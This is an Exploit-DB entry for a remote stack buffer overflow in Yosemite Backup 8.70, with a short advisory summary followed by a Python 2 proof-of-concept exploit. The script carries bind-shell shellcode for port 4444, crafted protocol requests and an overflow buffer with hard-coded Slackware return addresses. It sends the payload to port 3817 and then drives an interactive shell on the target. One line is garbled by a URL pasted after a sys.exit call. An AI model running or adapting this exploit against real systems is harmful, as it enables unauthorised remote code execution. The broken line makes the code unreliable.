Yosemite Backup 8.70 - 'DtbClsLogin()' Remote Buffer Overflow

EDB-ID:

32578




Platform:

Windows

Date:

2008-11-11


source: https://www.securityfocus.com/bid/32246/info

Yosemite Backup is prone to a buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized buffer.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application or cause a denial-of-service condition.

NOTE: Reports indicate that successful exploits allow remote code execution on Linux systems and denial of service on Windows systems.

Yosemite Backup 8.70 is vulnerable; other versions may also be affected. 

import os
import sys
import socket
# http://www.insight-tech.org
# http://www.insight-tech.org/xploits/yosemiteStackOverflowExploit.zip
#Yosemite backup 8.7 PoC by AbdulAziz Hariri.
#BIND TO PORT 4444 - Metasploit
shellcode=("\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x90"
"\x9f\xfa\x9d\x83\xeb\xfc\xe2\xf4\xa1\x44\xa9\xde\xc3\xf5\xf8\xf7"
"\xf6\xc7\x63\x14\x71\x52\x7a\x0b\xd3\xcd\x9c\xf5\x81\xc3\x9c\xce"
"\x19\x7e\x90\xfb\xc8\xcf\xab\xcb\x19\x7e\x37\x1d\x20\xf9\x2b\x7e"
"\x5d\x1f\xa8\xcf\xc6\xdc\x73\x7c\x20\xf9\x37\x1d\x03\xf5\xf8\xc4"
"\x20\xa0\x37\x1d\xd9\xe6\x03\x2d\x9b\xcd\x92\xb2\xbf\xec\x92\xf5"
"\xbf\xfd\x93\xf3\x19\x7c\xa8\xce\x19\x7e\x37\x1d")

request1_1 =("\x54\x84\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x92\x00\x00\x00"+
"\x03\x3f\xfb\x76\x08\x20\x80\x00\x7f\xe3\x08\x88\x57\x3b\x77\x80"+
"\x01\x00\x00\x00\xc0\xa8\x01\x42\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x30\x58\x39\x30\x00\x63\x88\x77\xfe\xff\xff\xff"+
"\x1b\x3f\xfb\x76\x6a\x31\x41\x73\xb0\x03\x00\x00\xff\xff\x00\x00"+
"\x06\x10\x00\x44\x74\x62\x3a\x20\x43\x6f\x6e\x74\x65\x78\x74\x00\xd8\xc1\x08\x10\xb0\x03\x00\x00\xff\xff\x00\x00\x06\x10\x00\x00"+
"\x80\xfa")

Request2_1=("\x51\x84\x00\x00\x02\x02\x02\x32\x18\x00\x00\x00\xa4\x01\x00\x00"+
"\x00\x00\x00\x00")

Request2_2=("\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x4d\x4c\x4d\x4c\x4d\x44\x4f\x4c\x4f\x44\x4f\x44"+
"\x49\x4c\x49\x44\x49\x4c\x43\x4c\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x01\x10\x00\x00\x1f\x93\xf0\x48\x67\x60\x1e\x00"+
"\xd1\xc4\x4f\x00")

def connectToTarget(hostname,port):
    newsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        newsock.connect((hostname,port))
    except socket.error, (value,msg):
        if newsock:
          newsock.close()
        print "[x] Error: %s.\n" % msg
        sys.exit(1)http://www.insight-tech.org/xploits/yosemiteStackOverflowExploit.zip
    else:
        print "[x] 0wn3d!"
    buff = ""
    comm = ""
    #newsock.send("\n\n")
    bol = 1
    while bol:
        buff = ""
        comm = ""
        comm = raw_input("$ ")
        if comm == 'Q':
            bol = 0
        elif comm == '':
            comm = ""
        else:
            newsock.send(comm+"\n")
            buff = newsock.recv(20024)
            print buff

if len(sys.argv) != 3:
    print "[x] Usage: IP OS\n[x] OS: W/L\n"
    sys.exit
    
hostname = sys.argv[1]
osver = sys.argv[2]

exploitType = 0

if osver == 'W':
    exploitType=0
elif osver=='L':
    exploitType=1
else:
    print "[x] OS not supported.\n"
    sys.exit

#CALL EDI - 0xB7DA6C90 - Slackware 12.0
ret = "\x90\x6C\xDA\xB7"
#WEEEEEEEEEEEEE - 0x0809c514 - Slackware 12.0
edi = "\x14\xc5\x09\x08"

if(exploitType == 1):
    buff3r = ("\x90"*77) + shellcode + ("\x90"*119) + edi + ret
else:
    buff3r = "A"*500

logno = Request2_1 + buff3r + Request2_2

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
   s.connect((hostname,3817))
except socket.error, (value,msg):
   if s:
    s.close()
   print "[x] Error: %s.\n" % msg
   sys.exit(1)
else:
    print "[x] Connected to: %s." % hostname

    print "[x] Sending initial request.."
try:
    s.send(request1_1)
except socket.error, (value,msg):
    if s:
         s.close()
    print "[x] Error: %s.\n" % msg
    sys.exit(1)
else:
    print "[x] Sent!"

print "[x] Sending Evil Buffer.."

try:
    s.send(logno)
except socket.error, (value,msg):
    if s:
        s.close()
    print "[x] Error: %s.\n" % msg
    sys.exit(1)
else:
    print "[x] Sent!"

if exploitType==1:
    print "[x] Checking if exploit worked.."
    connectToTarget(hostname,4444)

print "[x] End of Demo exploit."